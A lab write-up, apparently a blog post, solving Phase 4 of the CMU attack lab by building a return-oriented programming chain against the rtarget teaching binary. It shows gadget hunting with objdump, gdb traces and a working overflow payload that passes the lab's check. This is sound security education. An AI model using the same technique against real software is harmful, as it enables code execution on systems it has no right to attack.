ROP Attack

My solution to Phase 4 of the CMU attack lab. Stack randomization and Stack protection have been enabled. This problem involves a ROP attack. The goal is to mov the following cookie 0x59b997fa to %rdi then to call phase2(long).


istofu@heapsmash:~/cmu/target1$ gdb -q rtarget 
Reading symbols from rtarget...done.

For brevity some subroutines have been left out. 
(gdb) i fu 
All defined functions:

File buf.c:
unsigned int getbuf();
...
0x0000000000401994  start_farm
0x000000000040199a  getval_142
0x00000000004019a0  addval_273
0x00000000004019a7  addval_219
0x00000000004019ae  setval_237
...
0x0000000000401ab2  end_farm
...

(gdb) disass getbuf
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401b60 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.

It looks like the stack is 40 bytes, its best to double check with a quick test and see if %rsp can be overwritten. 

(gdb) b getbuf 
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) 
[3]+  Stopped                 gdb -q rtarget
istofu@heapsmash:~/cmu/target1$ python -c 'print "A"*41'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
istofu@heapsmash:~/cmu/target1$ fg
gdb -q rtarget
run -q
run -q
Starting program: /home/istofu/cmu/target1/rtarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12	buf.c: No such file or directory.
(gdb) disass
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>:	sub    $0x28,%rsp
   0x00000000004017ac <+4>:	mov    %rsp,%rdi
   0x00000000004017af <+7>:	callq  0x401b60 <Gets>
   0x00000000004017b4 <+12>:	mov    $0x1,%eax
   0x00000000004017b9 <+17>:	add    $0x28,%rsp
   0x00000000004017bd <+21>:	retq   
End of assembler dump.
(gdb) si 2
0x00000000004017af	14	in buf.c
(gdb) ni
Type string:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
16	in buf.c

(gdb) x/6xg $rsp 
0x7ffffff9d9f0:	0x4141414141414141	0x4141414141414141
0x7ffffff9da00:	0x4141414141414141	0x4141414141414141
0x7ffffff9da10:	0x4141414141414141	0x0000000000400041

Now to find some gadgets for the ROP attack. 

Our gadgets will have to pop a value from the stack that contains our payload (the cookie 0x59b997fa) we then need to have it as the first parameter to the subroutine call so popq %rdi is best case. The target bytecode is the following. With nops “\x90” and ret “\xc3

  • 58 popq %rax
  • 59 popq %rcx
  • 5a popq %rdx
  • 5b popq %rbx
  • 5c popq %rsp
  • 5d popq %rbp
  • 5e popq %rsi
  • 5f popq %rdi

objdump -d is used to find a gadget for pushq
 
istofu@heapsmash:~/cmu/target1$ objdump -d rtarget | grep 58
  400d20:	ff 25 32 43 20 00    	jmpq   *0x204332(%rip)        # 605058 <close@GLIBC_2.2.5>
  400fce:	bf 58 30 40 00       	mov    $0x403058,%edi
  40100c:	bf 58 2f 40 00       	mov    $0x402f58,%edi
  4014eb:	69 c0 82 d5 00 00    	imul   $0xd582,%eax,%eax
  401581:	8b 44 24 d4          	mov    -0x2c(%rsp),%eax
  401585:	69 c0 ad 44 00 00    	imul   $0x44ad,%eax,%eax
  40158b:	89 44 24 d4          	mov    %eax,-0x2c(%rsp)
  40158f:	8b 44 24 dc          	mov    -0x24(%rsp),%eax
  40191d:	be 58 32 40 00       	mov    $0x403258,%esi
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019b5:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
0000000000401a83 <addval_358>:
  401c99:	48 8b 35 b8 34 20 00 	mov    0x2034b8(%rip),%rsi        # 605158 <course>
  401d3d:	48 8b 15 14 34 20 00 	mov    0x203414(%rip),%rdx        # 605158 <course>
  401d58:	48 8b 15 f1 33 20 00 	mov    0x2033f1(%rip),%rdx        # 605150 <lab>
  401f63:	e8 58 ed ff ff       	callq  400cc0 <puts@plt>
  4020a4:	bf 00 60 58 55       	mov    $0x55586000,%edi
  4020b1:	48 3d 00 60 58 55    	cmp    $0x55586000,%rax
  4020c6:	b9 00 60 58 55       	mov    $0x55586000,%ecx
  40242d:	48 89 84 24 58 a0 00 	mov    %rax,0xa058(%rsp)
  402585:	20 74 6f 
  402588:	48 89 43 08          	mov    %rax,0x8(%rbx)
  40258c:	48 b8 20 63 6f 6e 6e 	movabs $0x7463656e6e6f6320,%rax
  40266f:	48 b8 5f 4d 41 58 42 	movabs $0x46554258414d5f,%rax
  4028df:	e9 95 00 00 00       	jmpq   402979 <submitr+0x583>
  4028fe:	7f 79                	jg     402979 <submitr+0x583>
  402a58:	48 c7 c2 ff ff ff ff 	mov    $0xffffffffffffffff,%rdx
  402af1:	48 8b 9c 24 58 a0 00 	mov    0xa058(%rsp),%rbx

4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax

This looks promising, I will check to see if there's a ret attached to it. 

istofu@heapsmash:~/cmu/target1$ objdump -d rtarget | less 
...
00000000004019a7 <addval_219>:
  4019a7:       8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:       c3                      retq   

This will work for a gadget.  Time to create some shellcode and test what we have so far.

4019a7: needs to be offset by 4 bytes in our shellcode to get to 
58 popq %rax 90 nop c3 ret

istofu@heapsmash:~/cmu/target1$ python -c 'print "\x00"*40 + "\xab\x19\x40" + "\x00"*5 + "\xfa\x97\xb9\x59" + "\x00"*4' > payload
istofu@heapsmash:~/cmu/target1$ gdb -q rtarget
Reading symbols from rtarget...done.
(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q -i payload
Starting program: /home/istofu/cmu/target1/rtarget -q -i payload
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12	buf.c: No such file or directory.
(gdb) x/5i $rip
=> 0x4017a8 <getbuf>:	sub    $0x28,%rsp
   0x4017ac <getbuf+4>:	mov    %rsp,%rdi
   0x4017af <getbuf+7>:	callq  0x401b60 <Gets>
   0x4017b4 <getbuf+12>:	mov    $0x1,%eax
   0x4017b9 <getbuf+17>:	add    $0x28,%rsp
(gdb) si 2
0x00000000004017af	14	in buf.c
(gdb) ni
16	in buf.c
(gdb) x/7g $rsp
0x7ffffffd7e50:	0x0000000000000000	0x0000000000000000
0x7ffffffd7e60:	0x0000000000000000	0x0000000000000000
0x7ffffffd7e70:	0x0000000000000000	0x00000000004019ab
0x7ffffffd7e80:	0x0000000059b997fa
(gdb) si 2
0x00000000004017bd	16	in buf.c
(gdb) si
0x00000000004019ab in addval_219 ()
(gdb) x/i $rip
=> 0x4019ab <addval_219+4>:	pop    %rax
(gdb) si
0x00000000004019ac in addval_219 ()
(gdb) p/x $rax
$1 = 0x59b997fa

(gdb) 
[3]+  Stopped                 gdb -q rtarget
istofu@heapsmash:~/cmu/target1$ cat cookie.txt 
0x59b997fa

That looks like the cookie. It's time to move that value into %rdi and call the subroutine touch2(long).

Since we have our cookie in %rax we need to find bytecode for the following 48 89 c7 movq %rax %rdi

istofu@heapsmash:~/cmu/target1$ objdump -d rtarget | grep "89 c7"
  40105f:	89 c7                	mov    %eax,%edi
  40107f:	89 c7                	mov    %eax,%edi
  40109b:	89 c7                	mov    %eax,%edi
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4020be:	48 89 c7             	mov    %rax,%rdi
  402dee:	89 c7                	mov    %eax,%edi

At first glance this looks like bad news, however we don't need the entire 64 bit or 8 bytes from %rax we only need the low 32 bits or 4 bytes. 

89 c7 is the bytecode for movl %eax %edi and we have 
4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)

This translates to  
89 c7 movl %eax %edi 
90    nop

We will need to make sure that c3 is present.. 

istofu@heapsmash:~/cmu/target1$ objdump -d rtarget | less
...

00000000004019c3 <setval_426>:
  4019c3:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:       c3                      retq

We have our next gadget, time to update and test the shellcode again.

The address for our gadget will have to be offset again.

istofu@heapsmash:~/cmu/target1$ python -c 'print "\x00"*40 + "\xab\x19\x40" + "\x00"*5 + "\xfa\x97\xb9\x59" + "\x00"*4 + "\xc6\x19\x40" + "\x00"*5' > payload
istofu@heapsmash:~/cmu/target1$ gdb -q rtarget
Reading symbols from rtarget...done.
(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q -i payload
Starting program: /home/istofu/cmu/target1/rtarget -q -i payload
Cookie: 0x59b997fa

(gdb) i r rip
rip            0x4017a8	0x4017a8 <getbuf>
(gdb) si 2
0x00000000004017af	14	in buf.c
(gdb) ni
16	in buf.c
(gdb) x/8xg $rsp
0x7ffffffd9af0:	0x0000000000000000	0x0000000000000000
0x7ffffffd9b00:	0x0000000000000000	0x0000000000000000
0x7ffffffd9b10:	0x0000000000000000	0x00000000004019ab
0x7ffffffd9b20:	0x0000000059b997fa	0x00000000004019c6
(gdb) si 2
0x00000000004017bd	16	in buf.c
(gdb) si

We're now inside of the first gadget.
0x00000000004019ab in addval_219 ()
(gdb) x/xi $rip
=> 0x4019ab <addval_219+4>:	pop    %rax
(gdb) si
0x00000000004019ac in addval_219 ()
(gdb) p/x $rax
$1 = 0x59b997fa
(gdb) si 2
0x00000000004019c6 in setval_426 ()
(gdb) x/i $rip

This is the second gadget. 
=> 0x4019c6 <setval_426+3>:	mov    %eax,%edi
(gdb) si 
0x00000000004019c8 in setval_426 ()
(gdb) p/x $rdi
$2 = 0x59b997fa

Our cookie is now in %rdi, all that's left to do is call the subroutine touch2(long). 

istofu@heapsmash:~/cmu/target1$ objdump -d rtarget | grep touch2
00000000004017ec <touch2>:
  401802:	75 20                	jne    401824 <touch2+0x38>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>

Time to finalize the shell code and test it against the vulnerable binary. 

Success.

istofu@heapsmash:~/cmu/target1$ python -c 'print "\x00"*40 + "\xab\x19\x40" + "\x00"*5 + "\xfa\x97\xb9\x59" + "\x00"*4 + "\xc6\x19\x40" + "\x00"*5 + "\xec\x17\x40" + "\x00"*5' > payload

istofu@heapsmash:~/cmu/target1$ ./rtarget -q -i payload 

Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
result	1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C6 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00 

Leave a Reply

Your email address will not be published. Required fields are marked *

Scroll UpScroll Up